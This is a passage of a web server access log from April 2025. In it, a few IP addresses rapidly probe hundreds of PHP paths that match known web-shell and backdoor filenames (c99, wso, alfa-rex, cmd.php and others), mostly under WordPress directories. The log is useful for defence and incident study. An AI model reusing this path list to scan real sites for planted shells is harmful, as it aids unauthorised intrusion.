/wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:11 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:11 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:11 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:12 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:12 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:13 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:13 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:14 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:14 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:15 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:16 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:16 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:17 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:17 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:18 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:18 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:19 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:19 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:20 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:20 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:21 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:22 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:22 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:23 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 109.248.166.175 - - [29/Apr/2025:23:58:49 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 OpenWave/97.4.2043.44" 43.130.57.76 - - [30/Apr/2025:00:00:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.167.24.178 - - [30/Apr/2025:00:27:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60" 196.251.69.58 - - [30/Apr/2025:00:34:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "fasthttp" 40.113.19.115 - - [30/Apr/2025:00:50:51 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:52 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:53 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:53 -0400] "GET /.tmb/cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:54 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:55 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:55 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:56 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:57 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:58 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:58 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:58 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:50:59 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:00 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:01 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:02 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:03 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:04 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:04 -0400] "GET /wp-content/plugins/backup-backup/includes/923924098...php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:05 -0400] "GET /wp-content/plugins/WordPressCore/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:06 -0400] "GET /wp-admin/css/colors/sunrise/item.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:07 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:07 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:08 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:08 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:09 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:09 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:10 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:10 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:11 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:11 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:12 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:12 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:13 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:14 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:14 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:15 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:16 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:16 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:17 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:18 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:18 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:19 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:20 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:21 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:21 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:22 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:23 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:23 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:24 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:25 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:25 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:25 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:26 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:26 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:27 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:27 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:28 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:28 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:29 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:29 -0400] "GET /wp-content/upgrade/edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:30 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:30 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:31 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:31 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:31 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:32 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:32 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:33 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:33 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:34 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/admin.php/gawean.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:35 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:36 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:36 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:37 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:38 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:38 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:39 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:39 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:40 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:41 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:42 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:42 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:43 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:43 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:44 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:44 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:45 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:45 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:46 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:46 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:47 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:47 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:48 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:48 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:49 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:49 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:50 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:50 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:51 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:52 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:52 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:53 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:53 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:54 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:54 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:54 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:55 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:55 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:56 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:56 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:57 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:57 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:58 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:51:59 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:00 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:01 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:01 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:02 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:03 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:04 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:05 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:05 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:06 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:07 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:08 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:08 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:09 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:10 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:10 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:11 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:12 -0400] "GET /wp-content/uploads/2018/03/equipe-background-570x536.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:12 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:13 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:14 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:14 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:15 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:16 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:17 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:17 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:18 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:20 -0400] "GET /wp-admin/images/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:21 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:22 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:23 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:24 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:25 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:27 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:28 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:29 -0400] "GET /wp-includes/wp-links.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:29 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:30 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:31 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:32 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:33 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:34 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:34 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:34 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:35 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:37 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:38 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:39 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:39 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:40 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:41 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:41 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:42 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:42 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:43 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:43 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:44 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:44 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:45 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:45 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:45 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:46 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:46 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:47 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:47 -0400] "GET /wp-includes/css/SEEP77.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:48 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:48 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:49 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:51 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:52 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:53 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:55 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:57 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:57 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:52:59 